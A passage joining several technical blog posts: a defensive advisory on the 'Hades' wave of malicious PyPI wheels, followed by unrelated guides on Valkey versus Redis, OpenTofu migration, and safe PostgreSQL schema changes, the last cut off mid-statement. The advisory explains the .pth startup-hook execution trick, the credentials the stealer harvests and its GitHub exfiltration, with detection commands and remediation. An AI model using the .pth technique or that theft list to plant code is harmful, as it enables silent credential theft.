• You publish to PyPI, or your build runners hold GitHub or cloud credentials
• Basic comfort with the shell and, for the org audit, the GitHub CLI (gh)

What shipped

Socket's analysis puts the PyPI side at 37 malicious wheel artifacts across 19 packages, with 411 artifacts across 106 packages on the npm side of the same campaign, for 448 tracked artifacts in total. The pattern on PyPI was a burst of consecutive patch releases across one author's entire portfolio, which points to a compromised maintainer account rather than 19 separate attacks.

The painful part is that several of the affected packages are real research tools with hundreds of thousands of cumulative downloads:

• dynamo-release, a single-cell RNA velocity framework
• spateo-release, a spatial transcriptomics toolkit
• coolbox, a Jupyter genomic visualization library
• ufish and napari-ufish, deep-learning FISH spot detection

The full set of 19 compromised PyPI packages:

bramin            cmd2func          coolbox
dynamo-release    executor-engine   executor-http
funcdesc          magique           magique-ai
mrbios            napari-ufish      nucbox
okite             pantheon-agents   pantheon-toolsets
spateo-release    synago            ufish
uprobe

If any of these are in your environment, treat the host as compromised and work through the response section below.

How the Hades wave works

The clever, and genuinely new, part is the trigger. Each malicious wheel ships two files: a startup hook named like *-setup.pth, and an obfuscated JavaScript payload named _index.js.

The .pth startup trick

Python's site module processes every .pth file in your site-packages directory at interpreter startup. Normally a .pth file just adds directories to the import path. But there is a documented behavior: any line that begins with import is executed. Hades abuses exactly that.

# A normal .pth file just lists paths:
../some/extra/path

# Hades ships a line that starts with "import", so Python RUNS it
# every time the interpreter starts, with no package import needed:
import os; exec(<loader that finds and runs _index.js>)

This converts a one-time pip install into automatic execution on the next python invocation. You do not have to import the package. You do not even have to run the project that depends on it. Any Python process on the machine triggers it.

Bring your own runtime

The Python loader does not assume Node.js or any particular runtime is present. It:

1. Checks for a sentinel file at <tempdir>/.bun_ran and exits early if it exists
2. Locates _index.js inside the installed package
3. Downloads Bun v1.3.13 from github.com/oven-sh/bun if no cached binary is around
4. Runs bun run _index.js
5. Writes the sentinel so it does not fire repeatedly

Downloading its own runtime is a Shai-Hulud signature. It means the payload runs the same way whether or not the victim has Node installed, which is why a Python-only shop is not safe just because it has no npm toolchain.

The stealer

_index.js is wrapped in several layers: an eval shell with character-code and rotation decoding, AES-128-GCM and AES-256-GCM stages, gzip, custom PBKDF2/SHA256 decoders, and decoy tokens to slow analysis. It also checks the environment, skipping execution under a Russian locale and watching for StepSecurity harden-runner.

Once decoded, it harvests a wide set of secrets:

• GitHub tokens, GitHub Actions runner secrets, and SSH keys
• Publishing tokens for npm, PyPI, RubyGems, JFrog, and CircleCI
• AWS, GCP, Azure, Kubernetes, and HashiCorp Vault credentials
• .env, .npmrc, .pypirc, Docker configs, shell history, and cloud CLI caches
• Claude and MCP configuration files

Exfiltration

The primary channel is GitHub itself. The payload uses a stolen token to create a public repository via POST /user/repos, then commits the encrypted results to paths like results/results-<timestamp>-<counter>.json. The campaign markers are blunt:

• Repository description: Hades - The End for the Damned
• Commit message marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully
• On CI, a GitHub Actions artifact named format-results and a workflow named Run Copilot

There is also traffic to https://api.anthropic.com/v1/api. That is Anthropic's real API host, but /v1/api is not a real route. Socket assesses it as network-log camouflage, traffic designed to look benign rather than to move data.

What is new this time

Compared with earlier Shai-Hulud waves, three things stand out:

• Python-native trigger. A .pth startup hook replaces the npm preinstall script. It runs earlier and on a broader set of processes.
• Hades theming. The previous Miasma wave used Zelda references. This one uses underworld names like stygian, cerberus, and thanatos, with the Hades - The End for the Damned exfil marker.
• Toolchain persistence. Recovered artifacts reach into developer tooling: a gh-token-monitor daemon with systemd or LaunchAgent persistence, .claude/setup.mjs and .github/setup.js hooks, an injected .github/workflows/codeql.yml, and ~/.local/share/updater/update.py.

Are you exposed? What to check

First, check whether any affected package is installed:

# List installed packages and match against the compromised set
pip list --format=freeze 2>/dev/null | grep -iE \
  '^(bramin|cmd2func|coolbox|dynamo-release|executor-engine|executor-http|funcdesc|magique|magique-ai|mrbios|napari-ufish|nucbox|okite|pantheon-agents|pantheon-toolsets|spateo-release|synago|ufish|uprobe)='

Then scan the host for the runtime indicators the loader leaves behind:

# Sentinel file and the dropped Bun runtime
ls -la "${TMPDIR:-/tmp}/.bun_ran" /tmp/b.zip /tmp/b/bun 2>/dev/null

# The JavaScript payload and the startup hook inside site-packages
find "$(python -c 'import site; print(site.getsitepackages()[0])' 2>/dev/null)" \
  -name '_index.js' -o -name '*-setup.pth' 2>/dev/null

# Any .pth file that executes an import line (the startup trick)
grep -rEl '^import ' $(python -c 'import site; print(" ".join(site.getsitepackages()))' 2>/dev/null) 2>/dev/null

If you have a GitHub organization, audit it for the exfiltration markers:

# Public repos created with the Hades description
gh search repos 'Hades - The End for the Damned' --json fullName,createdAt

# Commits carrying the campaign marker across your org
gh search commits 'IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully' --json repository

# Suspicious workflow and artifact names in your repos
# (look for a workflow called "Run Copilot" and artifacts named "format-results")

Watch your logs for a python process spawning a bun binary, outbound requests to github.com/oven-sh/bun/releases/download/, and writes to /tmp/b.zip or /tmp/b/bun.

If you were hit: respond in this order

Assume any secret reachable from the affected host or runner is burned. Rotate in priority order, highest blast radius first.

1. GitHub. Personal access tokens, GitHub App tokens, Actions secrets, and deploy keys. Revoke, do not just rotate, anything the runner could read.
2. Package publishing. PyPI, npm, RubyGems, JFrog, and CircleCI tokens. Re-issue with 2FA and scoped permissions.
3. Cloud and orchestration. AWS, GCP, Azure, Kubernetes service-account tokens, and Vault tokens. Review CloudTrail or the equivalent for use during the exposure window.
4. Keys and local config. SSH keys, Docker credentials, Git credential helpers, and cloud CLI profiles.
5. AI and developer tools. Anthropic and Claude or MCP tokens, and anything stored in editor or agent configs.

Then clean the environment:

• Remove the malicious releases and pin to a known-good version, or remove the package entirely
• Rebuild the affected machine or container from a clean image rather than deleting files in place
• Delete the persistence artifacts: gh-token-monitor, .claude/setup.mjs, .github/setup.js, the injected codeql.yml, and ~/.local/share/updater/update.py
• Remove any attacker-created public repos and the format-results artifacts from your org

How to prevent the next one

The mechanism changes each wave, but the defenses are stable:

• Pin and verify. Use a lockfile with hashes (pip install --require-hashes, uv.lock, or poetry.lock). Hash pinning stops a surprise patch release from sliding in.
• Scan for the pattern, not the name. A new wave will use new package names. Flag wheels that ship an executable .pth line, download a runtime or binary, write executables to temp directories, or hand off to a JavaScript payload.
• Isolate installs. Run pip install for untrusted or first-time dependencies in a sandbox or ephemeral container with no ambient credentials. CI runners should use short-lived, scoped tokens, not long-lived org secrets.
• Lock down runners. Tools like StepSecurity harden-runner that egress-filter CI are worth it precisely because this malware checks for them and the payload tries to avoid them.
• Audit the AI toolchain. Treat Claude, MCP, IDE, and workflow configs as part of your attack surface now. These campaigns have moved past package hooks into developer tooling, and a poisoned .github/workflows/ file or agent config persists long after the package is gone.

Summary

The Hades wave is a reminder that "I only use Python" is not a safe place to stand. Shai-Hulud now ships Python wheels that execute at interpreter startup through a .pth hook, pull down their own runtime, and drain whatever credentials a developer or CI machine can see.

The mental model to keep:

• Installation is execution. A pip install of a poisoned wheel can run code on the next python start, with no import.
• The target is your secrets, especially CI/CD and GitHub tokens, so a hit on one runner can become a hit on your whole supply chain.
• The fix order is rotate, rebuild, and pin, in that order, and then make the next wave easier to catch with hash pinning and isolated installs.

Check your environment with the commands above, rotate anything that was exposed, and pin your dependencies so the next mass patch release cannot walk straight in.

In 2026 the picture is clear enough to act on. Valkey is on its 9.1 release, it is the default in-memory store on AWS ElastiCache, and it has its own performance roadmap. Redis, for its part, went back to an open-source license with Redis 8 and pulled the old Redis Stack modules into the core engine. This is no longer a simple fork-versus-original story.

This post answers the practical question directly. Is Valkey ready for production, where do the two projects actually differ now, does the AGPL license that Redis adopted affect you, and how does the migration work if you decide to move? For a side-by-side feature table, pricing, and a decision matrix, see our companion Valkey vs Redis comparison.

TLDR

• Valkey is production-ready in 2026. It is wire-compatible with Redis, governed by the Linux Foundation, on a steady release cadence (9.1 in May 2026), and is the default on AWS ElastiCache and MemoryDB.
• Redis is open source again under AGPLv3 since Redis 8, so "Redis is no longer open source" is out of date. The catch is that AGPL is copyleft, while Valkey stays on permissive BSD.
• The AGPL question only bites if you modify the Redis source and offer it to others over a network. If you just use Redis as a cache or database, it changes almost nothing.
• Migration from Redis 7.2.x is close to a drop-in: same protocol, same RDB and AOF files, and an in-place upgrade path on ElastiCache.
• The real divergence is features added after the fork. Redis 8 bundles JSON, search, time series, and vector sets into core. Valkey ships those as separate modules.

Prerequisites

• A running Redis instance (self-hosted or managed) and access to its configuration
• The ability to take and restore an RDB snapshot, or to run a replica
• A staging environment where you can test before touching production
• Familiarity with redis-cli and your client library's connection settings

How we got here: the license timeline

The decision makes more sense once you have the sequence straight.

2009-2024   Redis ships under the permissive BSD license
Mar 2024    Redis Inc. relicenses to SSPLv1 + RSALv2 (source-available, not OSI open source)
Mar 2024    Linux Foundation forks Redis 7.2.4 as Valkey (BSD), backed by AWS, Google, Oracle, Snap
2024-2025   Valkey ships 8.0 and 8.1 with multi-threaded I/O and big throughput gains
May 2025    Redis 8 adds AGPLv3 as a third license; Redis Open Source is OSI open source again
2026        Valkey 9.1 (May) and Redis 8.2 (Feb) both shipping; both fast, both open source

Two things matter in that timeline. First, Valkey never carried the source-available license. It forked from the last BSD release, so its license has been permissive the whole time. Second, Redis did not stay source-available. Redis 8 added the OSI-approved AGPLv3, which means Redis is open source again, just under a copyleft license instead of the old permissive one.

Is Valkey actually production-ready?

Yes, and the evidence is not subtle.

Releases and stability. Valkey shipped 8.0 and 8.1 through 2024 and 2025, then 9.0 and 9.1 in 2026. The 8.1 line is still maintained (8.1.8 landed in June 2026), so you get the same kind of long-lived release branches you expect from mature infrastructure software.

Performance. Valkey put most of its early effort into multi-core throughput. Valkey 9 added pipeline memory prefetching, zero-copy responses, and SIMD optimizations for commands like BITCOUNT. Valkey 9.1 reports around 2.1 million requests per second on 512-byte payloads. Redis 8 also added large gains, so both are fast; Valkey tends to pull ahead on many cores.

Cloud adoption. This is the strongest signal. AWS made Valkey the default for new ElastiCache and MemoryDB clusters and prices it below Redis OSS, roughly 20% lower on ElastiCache and about 30% lower on MemoryDB. Google Cloud offers Memorystore for Valkey, and Oracle supports it on OCI Cache. When the major clouds make a fork their default, the "will it survive" question is settled.

Governance. Valkey sits under the Linux Foundation with a multi-company steering model. No single vendor can relicense it, which is the exact failure mode that started this whole story.

Where Valkey and Redis diverge now

Up to Redis 7.2.4 the two are the same code. After the fork they drew apart, and that is where your decision lives.

The biggest difference is the built-in feature set. Redis 8 folded the former Redis Stack into the core engine, so JSON, the Query Engine, time series, probabilistic types, and vector sets all ship in the box. Vector sets in particular, built by the original Redis creator, make Redis a strong default for AI and semantic-search features.

Valkey keeps the core lean and ships those capabilities as separate modules, such as valkey-search and valkey-json. You get similar functionality, but you assemble it rather than getting it bundled. If your workload is a plain cache, a session store, a rate limiter, or a queue, this difference does not touch you. If you want vector search inside the data store with no extra setup, Redis 8 is ahead today.

For the full side-by-side across licensing, performance, modules, and managed-service cost, the Valkey vs Redis comparison lays it out in a table.

The AGPL question: does it actually affect you?

This is the part that gets the most confused commentary, so be precise about it.

AGPLv3 is a copyleft license with a network clause. The obligation it adds, on top of the GPL, is this: if you modify the software and let users interact with it over a network, you have to make your modified source available to those users. That is the whole of it.

Walk it through your own setup:

Do you modify the Redis source code?
        |
        +-- No --> AGPL changes nothing for you. Use Redis 8 freely.
        |
        Yes
        |
Do you offer that modified Redis to others over a network
(for example, as part of a hosted product)?
        |
        +-- No (internal use only) --> No source-disclosure obligation in practice.
        |
        +-- Yes --> You may have to publish your modifications. This is the
                    case where teams choose Valkey's BSD license instead.

For the large majority of teams, the honest answer is that AGPL does not affect them. You pull the official image, run it as a cache or database, and never touch the source. Nothing is triggered. The teams that genuinely care are the ones building a product on top of a modified engine, especially anyone offering a hosted data-store service. For them, Valkey's permissive BSD license removes the question entirely, which is exactly why several vendors standardized on Valkey.

Migrating from Redis to Valkey

Here is the good news that makes the decision low-risk: for Redis 7.2.x and earlier, moving to Valkey is close to a drop-in. The two speak the same RESP protocol and read the same on-disk formats.

Step 1: confirm your version and features

Check what you are running and whether you use any Redis 8 core modules.

redis-cli INFO server | grep redis_version
# redis_version:7.2.5

# If you use modules, list them. Valkey core will not have Redis 8 modules.
redis-cli MODULE LIST

If MODULE LIST is empty and you are on 7.2.x, you are in the easy path. If you depend on Redis Query Engine, JSON, or vector sets, plan to add the matching Valkey modules or keep those workloads on Redis.

Step 2: back up your data

Take an RDB snapshot before anything else.

# Trigger a snapshot and copy the file off the box
redis-cli SAVE
cp /var/lib/redis/dump.rdb /backup/dump.rdb.$(date +%F)

Step 3: stand up Valkey and load the snapshot

Valkey reads the same dump.rdb, so you can point a fresh Valkey instance at it.

# Run Valkey 9.1 in a container, mounting the existing RDB
docker run -d --name valkey \
  -p 6379:6379 \
  -v /backup:/data \
  valkey/valkey:9.1 valkey-server --dir /data --dbfilename dump.rdb.2026-06-05

# Verify it came up and loaded your keys
valkey-cli DBSIZE

The CLI is valkey-cli, but redis-cli works against Valkey too, since the protocol is identical.

Step 4: cut over clients

You do not need a new client library. Point your existing Redis client at the Valkey endpoint. The connection settings and commands are the same.

# Before
REDIS_URL=redis://redis.internal:6379

# After (same scheme, same port, new host)
REDIS_URL=redis://valkey.internal:6379

On AWS, the path is even shorter. ElastiCache offers an in-place upgrade from supported Redis OSS versions to Valkey, so you can switch the engine on an existing cluster without standing up new infrastructure.

Step 5: test on staging first

Run your full test suite against Valkey in staging before production. Pay attention to anything that calls a command added after the 7.2.4 fork, or any module you assumed was present. A clean migration behaves identically because the command surface is the same.

Should you switch? A quick framework

There is no single right answer, so match the choice to your situation.

Move to Valkey if you self-host and want a permissive license that cannot be changed under you, if you want to cut managed cache costs on AWS or Google Cloud, or if you build a product on top of the engine and want to avoid the AGPL network clause.

Stay on or choose Redis 8 if you need the bundled core modules, especially vector sets and the Query Engine for AI features, or if you rely on Redis Enterprise capabilities like active-active replication and a vendor support contract.

It is a tie, so do not rush if you run a managed cache, never modify the engine, and are happy with your costs. Both are open source, both are fast, and the migration stays easy. Switch the day cost or features change the math, not before.

Summary

The Valkey question is settled enough to act on in 2026. Valkey is production-ready, wire-compatible, governed by a foundation, and cheaper on managed services. Redis answered the criticism that started the fork by returning to open source with Redis 8, and it now ships a richer core with search and vector sets built in.

The mental model to keep:

• The license split is real but narrower than the headlines: BSD (Valkey) versus AGPL copyleft (Redis). AGPL only matters if you modify and serve the engine.
• The migration is easy and low-risk for Redis 7.2.x: same protocol, same files, and an in-place path on ElastiCache.
• The divergence to watch is post-fork features. Redis 8 bundles modules into core; Valkey keeps them separate.

Decide on what you actually need, the license terms, the managed cost, and the built-in features, rather than on which project has the louder story. For the head-to-head table, the Valkey vs Redis comparison covers it point by point.

In 2026 the picture is clearer. HashiCorp is now part of IBM, Terraform stayed on a source-available license, and OpenTofu has shipped real features that Terraform's open-source CLI does not have. The fork is no longer a protest vote. It is a working tool with its own roadmap.

This post answers the practical question directly. What changed, what OpenTofu gives you that Terraform does not, how the migration actually works (it is easier than most people expect), where the real lock-in hides, and a simple framework for deciding whether to switch now, run both, or stay put.

TLDR

• Terraform is now an IBM product under the BSL 1.1 source-available license. OpenTofu is MPL 2.0, sits in the CNCF, and is governed so no single company controls it.
• OpenTofu v1.12 (May 2026) ships features Terraform's open-source CLI lacks: native state encryption, the -exclude flag, provider for_each, and early variable evaluation.
• Migrating from Terraform to OpenTofu is the easy part. The state format is the same, you swap the terraform binary for tofu, run tofu init, and validate with tofu plan. It is reversible.
• The real lock-in starts later, once you adopt OpenTofu-only features like encrypted state. After that, going back to Terraform is no longer clean.
• Switch now if you want the new features or open governance. Run both if you have a large estate tied to HashiCorp Cloud. Stay if you are happy on Terraform Cloud and licensing does not affect you.

Prerequisites

• A working Terraform setup (CLI 1.5 or later) with at least one project and a state file
• Access to your state backend (S3, GCS, Azure Blob, Terraform Cloud, or local)
• Permission to change your CI/CD pipeline definitions
• A test or staging workspace you can migrate before touching production

The 2026 reality: who owns what

Two things drive the decision in 2026, and neither is about syntax.

First, ownership. IBM completed its acquisition of HashiCorp, a 6.4 billion dollar deal, in early 2025. Terraform is now an IBM product. IBM has a long history of keeping acquisitions open, with Red Hat the obvious example, but the Terraform license has not moved.

Second, licensing. In August 2023 HashiCorp moved Terraform from the Mozilla Public License (MPL) 2.0 to the Business Source License (BSL) 1.1. The BSL is source-available, not open source. It restricts using Terraform to build a competing product, and each release converts back to MPL only four years after it ships. For most teams that run Terraform internally, the BSL changes nothing day to day. For anyone building tooling around Terraform, or who cares about vendor-neutral governance, it matters.

OpenTofu sits on the other side of that line. It was forked from the last MPL-licensed Terraform release, so the BSL never applied to its code. The CNCF accepted OpenTofu in April 2025, and a Technical Steering Committee under the Linux Foundation sets the roadmap. No single company has the votes to change the license or the direction.

                 Terraform                  OpenTofu
License          BSL 1.1 (source-available) MPL 2.0 (open source)
Owner            IBM (HashiCorp)            CNCF / Linux Foundation
Governance       Single vendor              Multi-company TSC
State format     .tfstate (JSON)            .tfstate (JSON, same)

What OpenTofu has that Terraform does not

By 2026 OpenTofu is past parity in several areas. These are the features that actually pull teams across.

Native state encryption

Terraform's state file holds everything, including resource attributes that are often sensitive. By default it sits in plaintext in your backend. If someone reads your S3 bucket, they read your state.

OpenTofu encrypts state at rest, including remote state, with no external wrapper. You configure a key provider (AWS KMS, GCP KMS, Vault, or a passphrase) and a method, and OpenTofu handles the rest.

terraform {
  encryption {
    key_provider "aws_kms" "main" {
      kms_key_id = "arn:aws:kms:us-east-1:111122223333:key/abcd-1234"
      region     = "us-east-1"
      key_spec   = "AES_256"
    }

    method "aes_gcm" "main" {
      keys = key_provider.aws_kms.main
    }

    state {
      method = method.aes_gcm.main
    }

    plan {
      method = method.aes_gcm.main
    }
  }
}

Now, even if the backend is exposed, the state and plan files are unreadable without the key. Terraform's open-source CLI has no equivalent.

Provider for_each

You can define multiple instances of a provider and iterate over them. This is the clean answer to the old problem of managing one provider configuration per region or per account without copy-pasting blocks for each one.

The -exclude flag

-target lets you act on a specific resource. OpenTofu adds the inverse, -exclude, so you can plan or apply everything except a resource you want to leave alone.

# Apply everything except the database, which you are handling separately
tofu apply -exclude=aws_db_instance.primary

Early variable evaluation

OpenTofu can evaluate variables early, which means you can use them in places Terraform rejects, such as module source and backend configuration. That removes a class of workarounds teams have carried for years.

What v1.12 added (May 2026)

The 1.12 release kept the gap open. Two changes that matter in daily use:

• destroy = false in a resource lifecycle lets OpenTofu remove an object from state without destroying the real resource, a declarative version of state rm.
• prevent_destroy can now reference variables and other symbols in the module, instead of only a literal true or false.

None of these is a reason to switch on its own. Together they show the fork is shipping, not coasting.

The migration is the easy part

Here is the part most teams get backwards. They treat the migration as the risk. It is not. Terraform and OpenTofu share the same state format. OpenTofu reads and writes the same .tfstate JSON that Terraform produces. For most projects, moving over is a binary swap and a pipeline change.

Step 1: back up your state

Always start here, no matter how confident you are.

# Pull the current state to a local file before touching anything
terraform state pull > terraform.tfstate.backup

If you use a remote backend, also confirm you have versioning enabled (S3 versioning, for example) so you can roll back.

Step 2: install the tofu binary

# macOS
brew install opentofu

# Linux, via the official install script
curl -fsSL https://get.opentofu.org/install-opentofu.sh -o install-opentofu.sh
chmod +x install-opentofu.sh
./install-opentofu.sh --install-method deb

tofu version
# OpenTofu v1.12.0

Step 3: initialize with OpenTofu

Run tofu init in the project. This re-initializes the working directory and pulls providers from the OpenTofu registry instead of the Terraform registry.

tofu init
# Initializing the backend...
# Initializing provider plugins...
# - Finding hashicorp/aws versions matching ">= 5.0"...
# - Installing hashicorp/aws v5.x...
# OpenTofu has been successfully initialized!

Step 4: plan before you apply

This is the rule that keeps you safe. Your first OpenTofu command against existing state is always tofu plan, never tofu apply. A clean migration shows no changes.

tofu plan
# No changes. Your infrastructure matches the configuration.

If you see unexpected changes, stop and investigate before applying. Common causes are provider version drift or a Terraform version that wrote state OpenTofu does not recognize. The version-skew note below covers the second case.

Step 5: update CI/CD

Find every place your pipelines call terraform and swap it for tofu. The subcommands and flags are the same.

# Before (GitHub Actions)
- run: terraform init
- run: terraform plan -out=tfplan
- run: terraform apply tfplan

# After
- run: tofu init
- run: tofu plan -out=tfplan
- run: tofu apply tfplan

For most teams, that is the whole migration. No state surgery, no rewrite.

Where the real lock-in hides

If the migration is reversible, why does anyone hesitate? Because reversibility has a shelf life.

The moment you adopt an OpenTofu-only feature, the door starts closing. Encrypted state is the clearest example. Once OpenTofu writes an encrypted state file, Terraform cannot read it. The same applies to configuration that uses provider for_each or early evaluation in ways Terraform's parser rejects. Your code and state quietly become OpenTofu-shaped.

That is not a trap, it is a choice. Just make it on purpose. As long as you stay on shared features, you can move back to Terraform by swapping the binary the other way. Once you use the features that pulled you over, plan to stay.

The version-skew gotcha

There is one real failure mode during migration. OpenTofu tracks the Terraform state format up to the version it forked from, and forward on its own line after that. If your team upgraded Terraform past the point OpenTofu supports, tofu plan may fail to read the state or report a format error.

The fix is ordered:

1. Downgrade Terraform to a version OpenTofu supports.
2. Run terraform apply once to rewrite the state in the older format.
3. Migrate to OpenTofu and run tofu plan to confirm a clean result.

This is why you test on a staging workspace first and never run tofu apply blind.

Migration strategies

Pick the rollout that matches your size and risk tolerance.

Big bang. Replace every terraform reference with tofu in one maintenance window. This suits small teams with a handful of configurations. It is fast and there is no period of running two tools side by side.

Parallel run (dual-engine). Keep Terraform on legacy stacks, especially anything tied to Terraform Cloud or HashiCorp-specific features, and use OpenTofu for new, greenfield work. Migrate older modules when you have a reason to touch them anyway. Large organizations use this as a hedge. It avoids a risky all-at-once cutover and lets you adopt OpenTofu features only where you are ready to commit.

Should you switch? A decision framework

Do you build products or tooling on top of Terraform,
or need vendor-neutral governance?
        |
        +-- Yes --> Switch to OpenTofu now.
        |
        No
        |
Do you want native state encryption, provider for_each,
or the other OpenTofu-only features?
        |
        +-- Yes --> Switch to OpenTofu now.
        |
        No
        |
Do you have a large estate tied to Terraform Cloud / HCP?
        |
        +-- Yes --> Dual-engine: OpenTofu for new work,
        |            Terraform for the locked-in stacks.
        |
        No
        |
Are you happy on Terraform Cloud, with no licensing concern?
        |
        +-- Yes --> Staying is fine. Revisit yearly.

Switch now if you build tooling on Terraform, care about open governance, or want the features Terraform's open-source CLI will not get. State encryption alone justifies it for many security-conscious teams.

Run both if you have a large estate, especially one tied to Terraform Cloud or HCP-specific workflows. Move greenfield work to OpenTofu and migrate the rest over time.

Stay if Terraform Cloud serves you well and the license does not touch your use case. There is no penalty for waiting, and the migration will be just as easy next year.

Summary

The OpenTofu question is settled enough to act on in 2026. The fork is in the CNCF, it ships features Terraform's open-source CLI does not have, and Terraform itself is now an IBM product on a source-available license.

The mental model to keep:

• The migration is easy and reversible. Same state format, swap the binary, plan before apply.
• The lock-in is a later, deliberate choice. It starts when you adopt OpenTofu-only features, not when you switch.
• Match the rollout to your estate. Big bang for small teams, dual-engine for large ones.

Back up your state, test on staging, run tofu plan, and decide based on the features you actually want rather than the fear of the move. The move is the easy part.

CREATE INDEX idx_orders_customer ON orders (customer_id);

Thirty seconds later the on-call phone goes off. The API is returning 500s. The connection pool is maxed out. Every request that touches orders is hanging. The database is up, CPU is fine, but nothing is moving.

What happened is that CREATE INDEX without CONCURRENTLY takes a lock that blocks every write to the table for the entire build. On a 40 million row table that build takes minutes, and during those minutes every INSERT, UPDATE, and DELETE on orders waits in line. The web workers hold their database connections while they wait, the pool drains, and now even reads that have nothing to do with orders cannot get a connection.

That is a self-inflicted outage from one line of SQL. This post is about how to never ship that line again.

TL;DR

• A plain ALTER TABLE or CREATE INDEX takes a heavy lock. If it has to wait behind a slow query, it blocks every other query behind it too. One stuck statement stalls the whole table.
• Always set lock_timeout (and statement_timeout) before schema changes so a migration fails fast instead of queueing and taking the table down.
• Use CREATE INDEX CONCURRENTLY for indexes. It does not block writes.
• Use the expand-and-contract pattern for anything that changes existing columns: add the new shape, backfill, switch the app, then drop the old shape in a later deploy.
• Add constraints with NOT VALID first, then VALIDATE CONSTRAINT separately. The validation step does not block reads or writes.
• Backfill large tables in small batches that each commit, never one giant UPDATE.

Prerequisites

• PostgreSQL 12 or newer. Most of this works on 11, but a few shortcuts (like skipping a table scan when setting NOT NULL) need 12+.
• A database you can connect to with psql and a role that can run DDL.
• Some way to deploy application code separately from migrations. The expand-and-contract pattern needs at least two deploys.
• A staging database with production-like row counts. Lock behavior that is instant on 1,000 rows is a 4-minute outage on 40 million.

Why a "simple" migration takes down production

PostgreSQL uses table-level locks for schema changes. The two that bite people most:

• CREATE INDEX (without CONCURRENTLY) takes a SHARE lock. Reads still work, but every write to the table blocks until the index finishes building.
• Most forms of ALTER TABLE take an ACCESS EXCLUSIVE lock. That blocks everything, reads included, for as long as the statement runs.

For something like adding a column, the ACCESS EXCLUSIVE lock is held only for a moment, because on PostgreSQL 11+ adding a column with a constant default is a metadata change. So why do people still get outages from a fast ALTER TABLE?

The answer is the lock queue, and it is the part most people miss.

When your ALTER TABLE asks for an ACCESS EXCLUSIVE lock and some long-running SELECT is already holding an ACCESS SHARE lock on the table, your ALTER TABLE has to wait. That is fine on its own. The problem is that while it waits, it sits at the front of the lock queue, and every new query that needs a conflicting lock now queues behind it. A plain SELECT needs ACCESS SHARE, which conflicts with the pending ACCESS EXCLUSIVE, so the SELECT waits too.

So the chain is: one slow analytics query holds a read lock, your instant ALTER TABLE queues behind it, and then every normal query on that table queues behind your ALTER TABLE. The table is frozen until the slow query finishes, even though your schema change would have taken 5 milliseconds.

You can watch it happen. Open a second session during a migration and run:

SELECT pid, state, wait_event_type, left(query, 60) AS query
FROM pg_stat_activity
WHERE wait_event_type = 'Lock'
ORDER BY query_start;

  pid  |        state        | wait_event_type |                           query
-------+---------------------+-----------------+------------------------------------------------------------
 18442 | active              | Lock            | ALTER TABLE orders ADD COLUMN region text
 18455 | active              | Lock            | SELECT * FROM orders WHERE id = $1
 18460 | active              | Lock            | SELECT * FROM orders WHERE id = $1
 18471 | active              | Lock            | UPDATE orders SET status = $1 WHERE id = $2

Three normal queries stuck behind one ALTER TABLE that is itself stuck behind something else. That is your outage.

Always set a lock timeout

This is the single highest-value habit. Before any schema change, tell PostgreSQL to give up if it cannot get the lock quickly:

SET lock_timeout = '3s';
SET statement_timeout = '0';  -- keep this off for long index builds

ALTER TABLE orders ADD COLUMN region text;

Now if the lock is not available within 3 seconds, the migration fails instead of queueing:

ERROR:  canceling statement due to lock timeout

A failed migration is annoying. A frozen production table is an incident. The failed migration is the outcome you want, because it means the table kept serving traffic the entire time. You retry the migration later, ideally when no long-running query is holding the table.

Set this in your migration tool, not by hand. Most frameworks let you configure it. For raw SQL files, put the SET lock_timeout line at the top of every migration. Some teams set it in postgresql.conf for the migration role so it cannot be forgotten.

One caveat: lock_timeout only covers the wait to acquire the lock. A CREATE INDEX CONCURRENTLY that runs for 10 minutes is not affected, because it is doing work, not waiting. That is fine. The danger is the waiting, not the working.

Build indexes concurrently

Never build an index on a live table without CONCURRENTLY:

-- Wrong: blocks all writes for the whole build
CREATE INDEX idx_orders_customer ON orders (customer_id);

-- Right: writes keep working
CREATE INDEX CONCURRENTLY idx_orders_customer ON orders (customer_id);

CONCURRENTLY scans the table twice and takes longer, but it does not block reads or writes. The tradeoffs you need to know:

• It cannot run inside a transaction block. Many migration tools wrap every migration in a transaction by default. You have to turn that off for this migration (Rails has disable_ddl_transaction!, others have similar flags).
• If it fails partway, it leaves an invalid index behind. This is the gotcha that surprises people.

A common failure is building a unique index on data that turns out not to be unique:

ERROR:  could not create unique index "idx_users_email"
DETAIL:  Key (email)=(jane@example.com) is duplicated.

The build failed, but PostgreSQL did not clean up after itself. You now have a leftover index marked invalid. Find it:

SELECT indexrelid::regclass AS index, indrelid::regclass AS table
FROM pg_index
WHERE NOT indisvalid;

        index        |  table
---------------------+---------
 idx_users_email     | users

Drop it (also concurrently, so the drop does not block writes either) and fix your data before retrying:

DROP INDEX CONCURRENTLY idx_users_email;

The expand-and-contract pattern

Indexes are the easy case. The hard case is changing a column that the application already reads and writes. Renaming a column, changing its type, making it NOT NULL, or splitting it into two columns all break the running application the instant the schema changes, because the old code still expects the old shape.

The fix is to never change a column in place while code depends on it. You split the change across multiple deploys. This is the expand-and-contract pattern, sometimes called parallel change.

  Deploy 1: EXPAND     Deploy 2: MIGRATE      Deploy 3: CONTRACT
  add new shape        backfill + dual-write   drop old shape
  (additive only)      switch reads to new     (additive removal)

  old col ───────────────────────────────────────► dropped
  new col      ◄──── added ───────► written ──────► sole source

The rule that makes it safe: every individual deploy is backward compatible with the code that is still running. At no point does new schema require new code or new code require new schema.

Say you want to rename users.name to users.full_name. A plain ALTER TABLE ... RENAME COLUMN breaks every running instance of the old code that still selects name. Do this instead:

Deploy 1 (expand). Add the new column. Nothing reads it yet.

SET lock_timeout = '3s';
ALTER TABLE users ADD COLUMN full_name text;

Update the application to write to both columns on every insert and update. Reads still come from name.

Deploy 2 (migrate). Backfill the existing rows (see the batching section below), then switch reads to full_name. Now both columns are kept in sync and the app reads the new one.

Deploy 3 (contract). Once you are sure no running code reads name, drop it:

SET lock_timeout = '3s';
ALTER TABLE users DROP COLUMN name;

Three deploys to rename a column feels like a lot. It is also the difference between a routine change and a customer-facing outage. The same pattern handles type changes (add id_bigint, backfill, swap), splitting columns, and moving data between tables.

Adding a NOT NULL column safely

Adding a nullable column is cheap. Making a column NOT NULL is where people get caught, because a naive SET NOT NULL scans the whole table under an ACCESS EXCLUSIVE lock.

Do it in steps. First add the column nullable and backfill it. Then add a CHECK constraint as NOT VALID, which is instant because it only applies to new rows:

ALTER TABLE users ADD COLUMN email_verified boolean;

-- backfill here (see next section), then:

SET lock_timeout = '3s';
ALTER TABLE users
  ADD CONSTRAINT users_email_verified_not_null
